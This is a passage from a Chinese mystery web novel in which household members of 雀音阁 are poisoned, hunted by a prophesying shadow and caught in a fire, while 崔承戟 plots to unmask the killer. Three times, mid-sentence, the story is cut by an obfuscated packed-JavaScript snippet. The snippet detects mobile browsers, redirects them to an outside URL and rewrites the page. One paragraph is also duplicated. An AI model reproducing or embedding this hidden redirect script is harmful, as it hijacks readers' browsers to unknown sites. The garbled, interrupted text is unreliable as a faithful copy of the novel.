雀音阁的后罩房位于正屋之后，是三间列成一排的低矮小屋。其中东房作厨房使用，这两日仅贞杏做饭时进出过；西房作库房使用，堆满各色杂物；中间的小正厅平日里也是堆了些杂物，再无他用。 除屠苏之外的雀音阁八人已齐聚后罩房，班灯推开虚虚掩住的西房木门，只见逢保趴在地上，面目狰狞，双目发直，显见得死前遭受过极大痛苦。 榕度第一个冲进去，但见逢保七窍渗出的黑血蜿蜒如蛇，于青砖缝中凝成卍字纹。他屈指压逢保颈脉，怅声：“确实死了。” 细端逢保死状，榕度眸色渐凛：“七窍流血，大抵是中毒。” “又是中毒？”宝音想起二叔所中的慢毒，“和二叔的那个一样吗？” 榕度小心翼翼检验逢保尸体，稳声：“逢保中的毒，与大人不同。大人的毒毒效慢，虽说有致命的风险，但若发现及时，便还略有转圜的余地。逢保的这毒，且看他七窍流血之状，便知此毒毒效又快又强，纵是提前发现他中毒，也未必来得及寻出解药救他性命。”他起身环顾四周，但见逢保面前三只酒坛，中间那只卸了封盖，可见被人喝过。逢保右手边地上躺舀酒的竹勺，其内酒水洒了一地，与血混在一起，染透逢保胸前衣襟纹理。 “他喝酒了？”榕度问班灯。 班灯点头：“方才我二人来后罩房搜寻，逢保说西房存了几坛好酒，还是那年大人买下这两座宅邸时封下的。他馋这口酒，故而来西房偷喝几口。我想着今夜蹊跷，只怕饮酒误事，因此留在东房继续找屠苏。” 饮、酒。 宝音、贞杏以及榕度无不一惊，方才窗前黑影所吟谶语恰与此间景象对上！ 戌时一更，十人点灯。一人饮酒，一人失踪。 逢保饮酒，屠苏失踪。 宝音心口一阵收缩攥紧，这不大的、门窗关死的雀音阁，似乎正有双眼睛，于幽夜之中静静注视着他们每个人。 雨打木窗，嘈杂雨声浇在众人心尖。 贞杏猛然握住宝音的手臂，牙齿打颤：“小姐，你觉不觉得方才那个黑影，身形和声音都很熟悉？” 经贞杏如此提醒，宝音脑海中霍然冒出一个名字—— 屠苏！ 那黑影的声音酷似屠苏，身形也肖似屠苏。可是，屠苏明明中了哑药，成了哑巴，他又如何能说话？ 鱼应近前一步：“什么黑影？” 未待宝音回答，榕度已轻轻搁下逢保手臂，起身同众人道：“按目前线索，可初步判断逢保是饮酒中毒而亡。只是，毒是什么毒，下毒者何人，还需继续探查。少卿大人不在，我等还是不要轻举妄动。在大人归来之前，先将此屋封锁，以免破坏死亡现场，不利于后续验尸缉凶。” 他扭头回答鱼应：“方才我与小姐、贞杏皆在正屋见到一个怪异黑影，其所吟谶语恰合了逢保之死、屠苏失踪，实在蹊跷得很。” 宝音指甲近乎嵌进肉里，她咬唇使自己冷静下来，道：“如榕度所言，我们先退出去，锁死西房。如今屠苏下落不明，逢保意外身死，幕后真凶想必还没有离开雀音阁。我们先回正屋，大家说说方才搜查时可有什么异样。” 雀音阁一应钥匙皆在鱼应身上，故而临走时由鱼应锁好西房。榕度心下担忧，又寻来一条锁链再缚一层，众人才略放下心，逶迤往正屋去。 雨丝粘于衣襟袖口，裹挟着春寒冲入屋内。八角桌前，如今只剩下八人。宝音依旧坐在上首，蹙眉打量每一个人的神色。除榕度和鱼应、鱼泉外，几乎每人皆惊惧失魂。 不到一个时辰之间，雀音阁已经失踪一人，死亡一人。这比曹嬷嬷之死、青邙山白骨洞对宝音的冲击更大，她甚至不知逢保为何会死，屠苏如何消失。由未知带来的恐惧攫住宝音，也攫住八仙桌前的其余人，他们在担心：凶手有没有离开？接下来，还会不会有人失踪、有人身死？ 榕度率先打破沉默，他故意隐去藏卷宗折子的事：“由我先来说吧。方才，我与宝音小姐、贞杏皆在正屋等候，突然西窗闪过一个黑影，我推开窗后，未曾发现一人，庭院内只有止不住的雨。于是我关窗转身，小姐和贞杏搂在一起看着我，在她俩身后的月洞窗窗纸上，忽而慢慢现出一个黑影，并开口说道：‘戌时一更，十人点灯。一人饮酒，一人失踪。’说完，这黑影就消失了。再然后，是班灯突然闯进来，报告逢保死讯。” 待他说完，宝音和贞杏忙点头。贞杏仍搂着宝音手臂，几乎要哭出来：“是的，是的，我与小姐和榕度大哥的行踪皆是一起的。” 宝音也是一样的哭腔难抑：“还有，在西窗出现黑影之前，我们听到一阵翻箱倒柜之声，似乎是从一品堂传来的。” “我也听见了！”鱼泉抢说，“方才我搜寻的东回廊，与一品堂只隔了两扇石墙和一条三尺宽的巷道。那声音很分明，就是从一品堂传来的。” 宝音问：“你大概能听清是什么声音吗？” 鱼泉摇头：“很乱，也很短促，似乎是翻东西，好像有东西倒在地上。” “然后你做了什么？”榕度道。 “我以为是我听错了，毕竟雨声也不小。我就继续找屠苏了，虽然没找到屠苏，但在东回廊尽头的灌木丛后，我发现了一只小狗洞，被各种杂草掩映着。看那些草的倒向，近期似乎有狗穿梭过这只狗洞。”他抬眸，“也有可能是人。” 鱼应困惑道：“我搜的是西回廊和西厢房。雨声很大，我没有听到那阵声音，只在班灯高喊‘逢保死了’的时候，我才听见。西回廊并无异样，回廊尽头也是高齐人腰的灌木丛，我以为屠苏躲在那后面，特特搜了那里，没有屠苏，也没有看到什么狗洞。” 接下来，焦韦讲述了他和谢伦搜寻垂花门至雀音阁大门之间的经历，也是大同小异，并无特别之处。不过，焦韦特特问班灯：“后罩房前头有个地窖。这地窖早就不用了，崔大人买下雀音阁后，我和逢保一次都没有开过。去年我们想开地窖存酒，才发现地窖门早就锈坏了，你和逢保搜过那里吗？” 班灯摇摇头：“没有，逢保没有和我说过有地窖。” 焦韦叹道：“没关系，那地窖只有我和逢保知道，而且门早就坏掉了，若要打开，至少得两个成年男子恐怕才开得动。屠苏一个人，想必也不会一个人到那里去。” 班灯思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279634|166773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 索片刻：“相比于屠苏的失踪，我更关心逢保的死。” 宝音也是一样，她忆起逢保狰狞可怖的死状，又是一阵胆战心惊。 始终缄默其口的谢伦突然开口：“凶手必定还在雀音阁内。如果不是外人，那只有此刻坐在八角桌的诸位和我了。这几日榕度、鱼应、鱼泉皆守在雀音阁，崔大人及榕参他们又住在隔壁，若有人混入雀音阁，实属不易。更何况，此人每日住在何处，能不被榕度、鱼应和鱼泉发现呢？” 谢伦顿了顿，继续道：“若是我们当中有人装神弄鬼，那此人得弄晕自幼习武的屠苏，还得会下毒。”他咬重了“下毒”二字。 榕度抬眸，眼风扫过谢伦之面：“莫论雀音阁，便是再加上一品堂，除大人之外，只有我最擅制毒用毒。谢伦，你是在点我吗？” 谢伦面不改色：“谢伦不敢。” 宝音拧眉道：“谢伦，你如何确定让屠苏失踪、又毒杀逢保的，是同一个人？” “这只是属下的猜测。”谢伦垂了头。 一时又陷入沉默，贞杏望望众人凝住的面色，弱弱道：“有没有可能，屠苏故意失踪，杀害逢保者也是他。” 榕度道：“为何这样说？” 贞杏悄悄觑一眼宝音，咽了咽口水：“我与小姐初见屠苏时，是在青邙山上，那时他还能说话。方才那个黑影的声音，酷似屠苏失音之前的声音。而且那个黑影的身姿，也颇似屠苏。” 鱼应眯了眼：“此话有理。只是，屠苏何故失踪，又何故杀害逢保？他们二人之间有过节吗？” 焦韦忙摇头：“那不可能，这几年我与逢保一起守雀音阁和一品堂，今日之前，我俩根本不认识这个叫屠苏的，他怎么会无故杀人？” 鱼泉跟随崔承戟许久，闻言不由扯了扯嘴角：“莫非像前年鄞州的案子，凶手真正要杀的是第三位死者，前两位死者皆是作戏扰乱我们视线？” 这些打打杀杀的揣测早让宝音和贞杏暗自搂紧对方胳膊手臂，不住地颤抖使得此间唯二的两个女孩儿更多了几分惺惺相惜的信任。在众人低头思索的间隙，又是那个月洞窗，又是那只黑影，又是那句谶语。 黑影声线淬满凉意，语调平缓： “亥时二更，八人点灯。一人读书，一人咬绳。” 说罢，黑影迅速消失。 榕度和鱼应已提剑率先冲上去，鱼应破窗之后，众人瞧得分明——窗外什么都没有！只有连绵不断的雨从檐角滴下，雨幕将黑夜隔在外头。 “又跑了！”榕度踱足骂道。 鱼泉、谢伦等业已按剑跑出门外，众人紧随其后，可偌大的庭院，只剩下夜风吹打枝叶，春雨如瀑坠落。毫无人迹。 榕度已行至谢伦身后，沉声：“现在，你还怀疑我么？” 谢伦低了眸子：“谢伦从未怀疑过榕度哥，不过是就事论事罢了。” 门外，打更人梆子声又响，隔着重重雨帘，飘入雀音阁内： “亥时二更，关门关窗，防偷防盗！” 竟与黑影谶语应上时间！ 宝音只觉遍体生寒。 众人愣神之际，一品堂方向忽然传来一阵巨响。 轰——！ 17. 归来 冷意爬满所有人的心头。鱼应近前作揖，喉间滚着焦灼：“小姐，且容属下去探那巨响。” 他们是跟随崔承戟出生入死的人，自是不相信怪力乱神，这种装神弄鬼的把戏他们见过不止一次，唯一破局之道就是抓住真正的幕后真凶。 宝音踌躇着，今夜的一切都太怪异了，二叔离开、宋敏珠撞门、黑影谶语、屠苏失踪、逢保枉死，如果一切都是人为，那这个黑影算什么？什么样的人有如此了得的轻功，不被人发现呢？而且，如果黑影是人，那他究竟藏身何处？ 她此刻所能想到的唯一办法，就是让所有人待在一起，如此一来凶手便不好动手了。无论是屠苏，还是逢保，他二人的意外皆系单独一人时发生的，只有落单了，凶手才方便下手。 冷意爬满所有人的心头。鱼应近前作揖，喉间滚着焦灼：“小姐，且容属下去探那巨响。” 他们是跟随崔承戟出生入死的人，自是不相信怪力乱神，这种装神弄鬼的把戏他们见过不止一次，唯一破局之道就是抓住真正的幕后真凶。 宝音踌躇着，今夜的一切都太怪异了，二叔离开、宋敏珠撞门、黑影谶语、屠苏失踪、逢保枉死，如果一切都是人为，那这个黑影算什么？什么样的人有如此了得的轻功，不被人发现呢？而且，如果黑影是人，那他究竟藏身何处？ 她此刻所能想到的唯一办法，就是让所有人待在一起，如此一来凶手便不好动手了。无论是屠苏，还是逢保，他二人的意外皆系单独一人时发生的，只有落单了，凶手才方便下手。 “鱼应，要不等二叔回来后，再去管一品堂吧。” 榕度亦点头：“此刻不知藏于暗处的究竟有几人，更不知他们的目的是什么，贸然行动只怕再折损力量。而且，他每次动手之前似乎都用谶语预示，这也是怪异之处。我们聚在一起，对他也是种威慑。” 鱼应只得同意，尽管他对一品堂的动静十分好奇，可他亦知，自己的首要任务是保护宝音小姐。 宝音仍旧将他们分成二人一组，取来自己的铺盖：“今夜劳大家挤一挤，一起休息在正屋。” 正屋以两道珠帘绣幕隔成三间小屋，西屋摆了八仙桌，是日常用膳之所，东屋是宝音卧房，雕花月洞木门又断出碧纱橱和拔步床。谢伦、班灯、逢保皆睡在西屋，鱼应、鱼泉、榕度皆睡在东屋，贞杏睡在碧纱橱，宝音睡在拔步床。此间八人，唯宝音、贞杏和榕度知崔承戟卷宗奏折所在。 宝音躺在床上，头顶是金线绣的翻飞蝴蝶，恍惚间，那倒悬的蝴蝶似要扑下来咬人。宝音错开眸子，正见银钩挑起半幅绣帐——榕度和贞杏说，这样方便他们夜半醒来观察宝音安危。她来来回回地看这些绣帐上的花卉彩蝶，毫无睡意。这雀音阁内还躺着一具尸体，也许是两具，一品堂的巨响如洪钟荡开。她大略能猜到是郑家人搞的鬼，可为什么他们要如此麻烦呢？他们要杀，也是杀她，为什么要杀逢保？还是说，那坛酒本是给她喝的？ 她觉得心口直跳，几乎要扑出胸膛来。这些未解的困惑笼着她，这些未知的恐惧追着她，宝音攥紧被角，指甲在锦绣上掐出月牙痕，她忽然很想念、很想念崔承戟。 这雀音阁本是二叔予她的礼物，如今却成了吃人的罗刹场。 “二叔……”她知道自己鼻尖又酸了，“你什么时候回来……” 宝音觉得自己真是没用，永远是那个等待被救的人。可是二叔也有自己的使命，怎么可能每次都会来救她？ 滚烫的泪珠滑落脸颊，没入繁密的云鬓。宝音翻了个身子，听见外间传来的细微鼾声，匀长且平缓。 宝音叹口气，将脸枕在手背上。 门窗皆已关死，垂在面前的半幅绣帐无端地隐隐晃动，像有风吹过似的。 “怎么会有风呢？”宝音暗自奇怪，也害怕，好像只要门窗关不紧，那黑影就会从缝隙里窜进来似的。 “贞杏，贞杏，”她轻轻唤了两声，“窗户好像没关紧。” 碧纱橱内没有动静。 宝音更是纳罕，支臂起身，抬头挑起绣帐，眼前赫然是一具长舌鬼脸，怒目睁圆、舌至肚脐，幽幽吊在碧纱橱的横杆上。 “啊！”宝音尖叫，忙扯了锦衾裹住自己，浑身忍不住地瑟瑟发抖。 她不知外面的境况，只死死将锦衾裹住自己。恐惧在此时无限放大，那可怖的长舌鬼脸似乎正缓缓靠近她，透过被面死死盯住她。 她像被钉在拔步床上，不敢动，却又浑身发抖。 不知过了多久，那长舌鬼开始扯她的被子。宝音闭着眼，尖叫着攥紧被角。所有的感觉在这一瞬间似乎都失效了，她看不见、听不到、闻不着，唯独手上的触觉强烈，有人在另一头夺她的被子。 不能给他、不能给他、不能给他…… 宝音心里只有这一个念头。 那头却发出可怖凄厉的喊叫，像从地府传来的鬼魅之音：“啊——啊——” 宝音浑身一悚，拼了命地踹过去。她双目紧闭，手脚并用去蹬那长舌鬼。在长舌鬼冰凉的指尖触到她裸露的肌肤时，宝音感到一阵战栗自胸腔急剧荡开。她疯狂尖叫着去推开那人，却被他握住肩头抱得更紧。 屠苏满脸血污，跪在绣毯上。他抱起宝音，任宝音神志不清地在他怀里乱捶乱踢。 他累极了，也倦极了。推开地窖门的那一瞬，近乎耗尽他毕生所有的力气。他像一块烂肉趴在地窖口，挂着血珠的睫毛微微颤动，世间万物便彻底染上血色。他趴在地上，看血色的雨水渐渐住了，看血色的影子从雀音阁正屋溜出来，看血色的匕首一下一下扎进他的身体，最后，他看见匕首被拔出来，刀刃映出火舌顷刻间吞噬掉雀音阁的正屋。 起火了…… 他花了好几息才咀嚼出起火的后果，在刹那间屠苏感到身体里喷涌出一股力量，他拼尽全力站起身，跌跌撞撞地冲向火场。 榕度、鱼应、鱼泉躺在地上，火舌攀上他们的铺盖，吞噬他们的衣物。屠苏“啊、啊——”地喊他们，脱了衣服扑打火苗，可没有一个人回应…… 宝音神志不清，只是不停的踢打屠苏。她分不清现实与梦境的界限，她还以为屠苏就是那长舌鬼。 屠苏已经彻底失去力气了，他抱不住宝音，更无法迈出半步。他看着宝音从自己手中跌落，在地上滚了几滚，头正好磕到黄花梨圈椅的椅木，彻底昏过去。屠苏嘴角扯起一抹无力的苦笑，地上躺满了人，屋里全是火，可他谁也救不了，连他自己也要葬身此处。他感觉不到双膝传来的剧痛，他只是像条虫子一样，缓缓地蠕动着，绕开火，向宝音爬过去。 至少把宝音救出去吧…… 他说不出话，只能“啊、啊”地发出动静，徒劳地试图让晕过去的人醒转。在触到宝音袖口的那一瞬，屠苏感到笑与泪一齐坠落。他颤颤攥紧手，而宝音却在他奋力的拖拽下纹丝不动。 火舌终于烧毁帘幔，攀上宝音裸露的手臂了。 宝音！ 他在心中喊破喉咙，终于用最后一丝力气爬过去，伏在宝音身上。 那就先烧死他吧……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279635|166773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “宝音！” 屠苏听到了人声。可他连头都转不动了，只感到自己死了一样的身体被人掀开，只看见一双带血的乌皮靴踏在地上，抱起宝音。 真好，宝音有救了。 崔承戟浑身皆是雨丝寒气，他抱起宝音时，屠苏的手仍攥着宝音的袖口，无论如何也扯不开。 榕参、榕平等一众私卫也披了浴火甲进内，各自将晕倒的众人背出去。 宝音和屠苏，一个被崔承戟抱在怀中，一个被榕参背在背上。屠苏的手死死攥着宝音的袖口，指尖血珠将坠未坠，最后终是受不住重，顺着宝音垂下的手，一颗一颗滴入泥里，染红砖缝里初初绽放的野花。 他最后的执念，是救宝音。也许是因为宝音是他的主子，也许是因为宝音赋予他新生。 崔承戟阴沉着脸，拔刀切断宝音的袖口，怅声如叹：“他伤势太重，先带他医治吧。” 一名私卫飞速跑来，跪在崔承戟跟前：“少卿大人，一品堂内有尸体。” “谁？” “宋敏珠。” * 雀音阁被烧了一半，一品堂内有宋敏珠尸体，皆不宜居住。崔承戟只得将宝音重新带到如意客栈，因贞杏等人悉数受伤，苏郎中瞧过宝音病情后，崔承戟便亲自守在床前照顾，等待宝音苏醒。 在离开雀音阁之前，他便预感到这是郑家的调虎离山之计，可郑家给出的筹码实在诱人——往雍州逃的王保柯，以及装了私银与郑伯约驶向京都的漕船。他不可能不派人去追。 崔承戟以为多给宝音留一些私卫，以为审慎告诫他们不可开门、一切等他回来就会没事，可万万没想到凶手竟藏在雀音阁内。 私卫们破开后罩房西房的锁链时，屋里空无一人，只剩下揭了封盖的酒坛、倒在地上的竹漏子和早已凝于青砖缝隙的血块。失踪的那人叫逢保，是三年前他买下两座宅邸后选出的看门小厮，无父无母、身世清白。 刹那间，崔承戟忽然感到一阵恶寒。 榕平近前汇报：“火势快控制住了，云梯队马上到。” 崔承戟攥了拳，声如淬冰：“拦住云梯队，让他们缓缓来。”他转眸睨榕平：“你与榕参两个，再多点几把火。要把雀音阁的正屋都烧塌了。” 宝音又梦魇了。 崔承戟听不清她说什么，只知道她很害怕，额角沁出薄薄的冷汗，唇瓣泛白无血色。崔承戟握住她的手，倾身凑近，模模糊糊地听见“鬼”“黑”这样的字眼，宝音整个人又蜷缩起来，像他最初带她离开宋府别院时那样，弓起身子，保护自己。 他又害她陷入险境。 崔承戟叹出一口浊气，轻轻握住宝音因恐惧而不住战栗的手。 “二叔……”宝音在梦魇中嗫嚅出他的名字，指尖攥住他的衣袖，于织锦缎上刮出细痕。她又哭出来，泪从脸颊流过，像滚水烫在崔承戟心头。这是崔承戟平生第二次生出挫败感，第一次是面对阿兄的死，第二次是不能护宝音周全的无力。 他曾发下誓言，今后务必护崔宝音周全顺遂，可今夜雀音阁的火光冲天、榕度等人的昏迷不醒，倒似一记耳光狠狠掴在崔承戟的脸上。 榕参在门外低声：“大人，雀音阁正屋已经烧塌了。榕度他们……”他声音带了些哽咽：“除了宝音小姐，只有贞杏、鱼泉、班灯还活着。” 崔承戟嘴唇翕动，半晌不言。良久，他道：“都移去府衙停尸房内。” 握着宝音的手骤然攥紧，青筋显露。崔承戟敛眸：“所有人都去。” 18. 抚慰 天亮时分，云梯队才将火扑灭。 第一缕熹光照耀靖州城时，早起的百姓瞧见那京都来的崔少卿跪在雀音阁朱门前，耷拉着头，两肩一耸一耸地抽动，似在低声啜泣。他们不知从何处听来消息：雀音阁夜逢大火，崔少卿的侄女、护卫被活生生烧死，今次私铸银锭案的卷宗也悉数毁在火中。 有的百姓叹息：“亲人丧身火海，任谁也不好受。” 有的百姓认为是其他原因：“私铸银锭案是圣上亲点崔少卿督办的大案，这次卷宗烧毁，崔少卿回去难以复命呐！” 还有的百姓干笑：“强龙不压地头蛇，这位崔少卿啊，是着了道了！还硬生生赔上个侄女，听说才十一二岁，是他亡兄的独女呢！” 此话一出，百姓们无不唏嘘。布衣服饰的榕参混在一众瞧热闹的百姓中，慢慢眯了眼。 突然，他脸带调笑地说：“非也非也，你们这都是谣传。昨晚这个崔大人亲手抱着崔小姐走出火场，那小姐身上并没有多少烧伤，俺亲眼见的！今早听说崔小姐死了，实因崔小姐在起火前就被人迷晕了，是那迷药的缘故。” “这是有人故意放火呐？” “这俺咋知道，今早救火的云梯队里是这么说的。” “可……迷药还能致命？” “你细想想，这崔小姐才十一二岁，原先身体本就不好，大火中又吸了浓烟。再说了，是药三分毒，有些人对某种药反应大这不很寻常？俺家隔壁那人还是吃鸡蛋吃死的呢！”榕惨顿了顿，神神秘秘地同那人说，“听说此刻崔小姐的尸体已从如意客栈移到衙门了。” 那人跺足叹息：“不装裹了赶紧下葬，去衙门做什么？” 榕惨乜斜那人一眼：“验尸查凶啊。” 人群中附和连连，唯有一名脸生小厮，闻言冷了脸，悄悄离开。榕参唇线绷直，自等了片刻，拔腿跟上那小厮。小厮七拐八绕，忽而消失在粉墙后，榕参抬头只见“落桐”二字匾额下，矗着一扇只容一人通过的小门。榕参装作无事人溜达，不动声色地沿墙走。不过半柱香时间，榕参行到主街，这面墙最终连接的朱门上，赫然挂的“郑府”匾额。榕参挑眉冷笑，自回府衙向崔承戟禀报不提。 宝音伤势最轻，自然是第一个醒来的。醒时将近正午，崔承戟双目红肿，坐于床边，出神地盯着宝音修得圆整的指甲，他指腹无意识地摩挲宝音指尖。 “二……叔……”她挣扎着开口。 思绪回笼，崔承戟像受了一惊，久违地露出笑靥。 宝音伸了手抚上崔承戟的眼睛，轻轻盖住：“二叔哭了……” “风迷的。”崔承戟握住宝音手腕，将她的手放入被衾中，“盖好。” “二叔是……”宝音虚虚地笑开，两唇几乎与贝齿同色，“为宝音哭的么……” 崔承戟默了半晌，直愣愣盯着宝音惨白的脸，怅声如叹：“榕度死了。” 骤闻死讯，宝音指尖绷紧，揪住被角要起身来，却被崔承戟按回去。宝音双目瞪圆，不敢相信：“怎么会呢？我都没死，榕度大哥怎么会死呢？” 她声音急促，方才起身的刹那望见帘帐外的屋内陈设，既不是雀音阁、一品堂的规制，也不是从前如意客栈的模样。宝音有些胆怯地道：“二叔，我们在哪里？” “靖州府衙。”崔承戟长眉微皱，“火起在正屋正厅，你与贞杏睡在里间，火势尚未蔓延到那儿，屠苏便来救你了。” “屠苏……”宝音无论如何也想不起昨夜见过屠苏，她最后的记忆只剩下那只长舌鬼。她攥住崔承戟袖口：“屠苏不是失踪了？他怎么回来了？” 崔承戟眯眼，他昨夜只见到屠苏以己身护在宝音身上，并不知火起之前的旧案。 “那宝音昨晚都看到什么了？” “鬼，二叔，有鬼！”宝音此刻深信不疑，就是那长舌鬼害死逢保，让屠苏失踪，又放火烧毁雀音阁，那鬼分明是要害死他们所有人！ 想及此处，宝音眼前浮现昨夜长舌鬼飘至拔步床前，阴恻恻地注视她，在她躲进被子里后，又夺她护体的被子。惊怖与恐惧密密麻麻爬上宝音的心，昨晚的害怕与难言如潮水般席卷回来，再次将她淹没。 当宝音捂着耳朵，紧闭双眼，发出第一声尖叫时，崔承戟尚未反应过来宝音究竟怎么了。等到宝音尖细的嗓子把守在门外的榕参也吓进来，他才猛然意识到宝音此时的痛苦与无助，昨夜发生的一切将成为宝音这辈子都难以消弭的潮湿。 崔承戟朝榕参摆了摆手，教他退出去。 他倾身近前，温声同宝音道：“宝音，世上没有鬼，是有人在装神弄鬼。” 宝音拼命摇头：“榕度大哥也说过这话，可他……可他已经……”她堕下泪：“我昨晚亲眼见到了，它还碰我！它抓我的被子！” 她脸上近乎是泪，缩在床角颤颤抖抖，似易碎的琉璃。窗台外搁了一株瓜子黄杨盆景，此时被阳光照射，蒙了层灰黑的影子映在窗纸上。宝音瞧见，仿佛见到那发出死亡谶语的鬼影。宝音直愣愣指着那影子，“啊”的尖叫一声，哆哆嗦嗦地抱膝蜷坐在床角，头躲进两膝之间，不敢再看。 逢保、黑影、长舌鬼，连带着昨晚宋敏珠凄厉的尖叫一齐在她脑海中炸开，宝音感觉自己也要炸开了。 血肉里似长出枯枝，宝音浑身都痛。 直到一双手将她轻轻抱住，从上而下抚她的脊背。她的耳旁，是崔承戟沉稳如静水的声音：“宝音，不要害怕。” “二叔会陪着你。” 在这一瞬间，那些长在骨头里、长在血肉里的枯枝陡然停住生长，那可怖的、怪异的尖叫与死状如一团浓雾开始消散。 宝音感受着从脊背传来的丝丝战栗与酥麻，在记忆的最深处，是三四岁时阿娘才会如此轻抚她的后背。每到此时，任凭宝音再怎么哭闹，她都会很快平静，乖顺地窝在阿娘怀抱里，似睡非睡，软语呢喃。 可是，二叔怎会知道？ 宝音想不到那许多，她对儿时的事记忆并不多，仅有的一些也大多数是与父母相关的。也许，在她还很小的时候，在她尚在襁褓的时候，二叔就抱过她，像阿娘那样逗她笑、哄她睡。 她近乎不敢想象二叔温柔哄睡她的模样。尽管这些日子二叔待她很好，但他似乎总是冷冷的，像隔着一层薄薄的雾。尤其是她从青邙山下来后，她感受得到二叔寻她的焦急，也感受得到他有意回避她的疏远。 逢保、黑影、长舌鬼，已在这份无言的陪伴中，悄然退到角落里。 宝音靠在崔承戟怀里，泪水染湿他官袍上的暗纹。她听着崔承戟俯身在她耳畔的低语：35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279636|166773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “二叔会永远陪着你。” “世上的鬼，都是人假扮的。二叔会揪出这个装神弄鬼吓唬我们宝音的人，所以，宝音不必再害怕了，好吗？” 骤然让宝音相信世上无鬼，唯一解决之道只有让她亲眼看到昨夜那些诡异景象，皆是人为，且是何人所为。 崔承戟的话像一粒定心丸，尽管宝音仍旧记得那长舌鬼、记得那黑影，可只消二叔的一句话，她便能从身体中生出莫大的勇气。她指尖揪住崔承戟的官袍，仰头盯住崔承戟的下颚，星星点点的青色胡茬在此刻分外明显。 “只要有二叔在，宝音就不害怕。” 于她而言，崔承戟当真有这样的力量，好像只要躺在他怀里，外界的一切诡异惊奇皆是虚妄，唯有二叔是真。 怀中人软若无骨，似孱弱小猫儿一般柔弱清瘦。她细伶伶的脊骨硌在崔承戟掌心，他用另一只手捻她耳垂，轻轻笑道：“从前阿兄寄信回京都，说小宝音哭闹，吵得阿兄阿嫂半夜难眠，非要人揉着耳珠子才肯安睡。”温热的呼吸拂过她后颈，“如今这老法子，可还奏效？” 宝音睡在二叔怀中，点头。她握住二叔的手，止他动作，轻声问：“除了榕度，其他人……还活着吗？” 崔承戟眸色黯淡：“贞杏、鱼泉和班灯都还活着，屠苏重伤。” 她愣怔半晌，那些鲜活的生命就此消逝，像水面漾开的涟漪。宝音就着崔承戟的手臂，从他怀中直起身：“二叔，让我代替榕度大哥吧。” 崔承戟惊愕抬眸，他不太明白宝音此言。 “此言何意？” 她一双明亮眸子，除了余惊未歇，还有渐渐涌上的坚毅：“榕度大哥最擅用毒验尸，宝音想学。” 崔承戟渐渐蹙了眉：“那不是你该学的。” 宝音攀上崔承戟的手臂：“二叔，他们是因我死的，是因我受伤的。二叔，宝音不想再做个累赘了。” 她挽起春衫袖口，露出手臂上的疤痕：“二叔不知，从前在宋府，宝音虽受人欺侮，可并不是一味地打碎牙齿和血吞。如果今番二叔不来，宝音有自己的法子自救。可是，二叔来了。榕参、榕度、榕平他们来了，贞杏来了，屠苏也来了。二叔劈开玄链救我于别院，榕参他们舍命相护，连贞杏这般娇怯的女娘都能为我挡火。这些泼天的恩义……” 宝音抿了抿唇：“比当年滚水浇在皮肉上还灼人。我不想要——我不想要自己总是无能为力，让别人以生命为代价保护我。我不想要每次自己都是等待人救的那个。” “就算我不能保护他们，至少让我有一点点能力，遭遇险境时自救的能力，而不是只能等待，等待你们救我。” “宝音不要做檐下听雨的瓷偶，如果要做，便做二叔袖中匕首。”宝音慢慢扬起嘴角，尽管是虚弱的，“二叔不是说，昨夜雀音阁是有人装神弄鬼吗？宝音想和二叔一起揪出那个人。” “替榕度报仇，替亡者报仇。” 崔承戟瞳孔震颤，方才躲在他怀中惧怕鬼神的女娘，此刻竟萌生出如此力量。她笑是虚弱的，但虚弱中有力量，譬若檐角雨滴，微茫渺小，但持续不断，终可水滴石穿。 他绽开唇角：“那……今夜正有一事，请宝音相助。” “什么？” “停尸房装死。” 19. 转变 午后，宝音用过午膳与药。崔承戟取来昨夜宝音见鬼时的寝衣，衣领袖口处皆被火燎坏了，身上却完完整整，布着斑斑血痕。 宝音抱着寝衣，昨夜的景象如浪潮拍岸再度回到她的记忆中，她感觉到自己呼吸越来越急促、心跳越来越快，她尝试着让自己平静、不再去想那些惊怖可怕的事，但无能为力。在她感觉快要窒息的瞬间，二叔轻轻握住她的肩：“如果宝音不愿，一切皆可回头。” 仿佛春风抚过心头的褶皱，她长长呼出滞在心头的一口浊气。 宝音摇头，将寝衣抱紧：“只要能帮榕度报仇，帮二叔查案，宝音做什么都甘愿。” 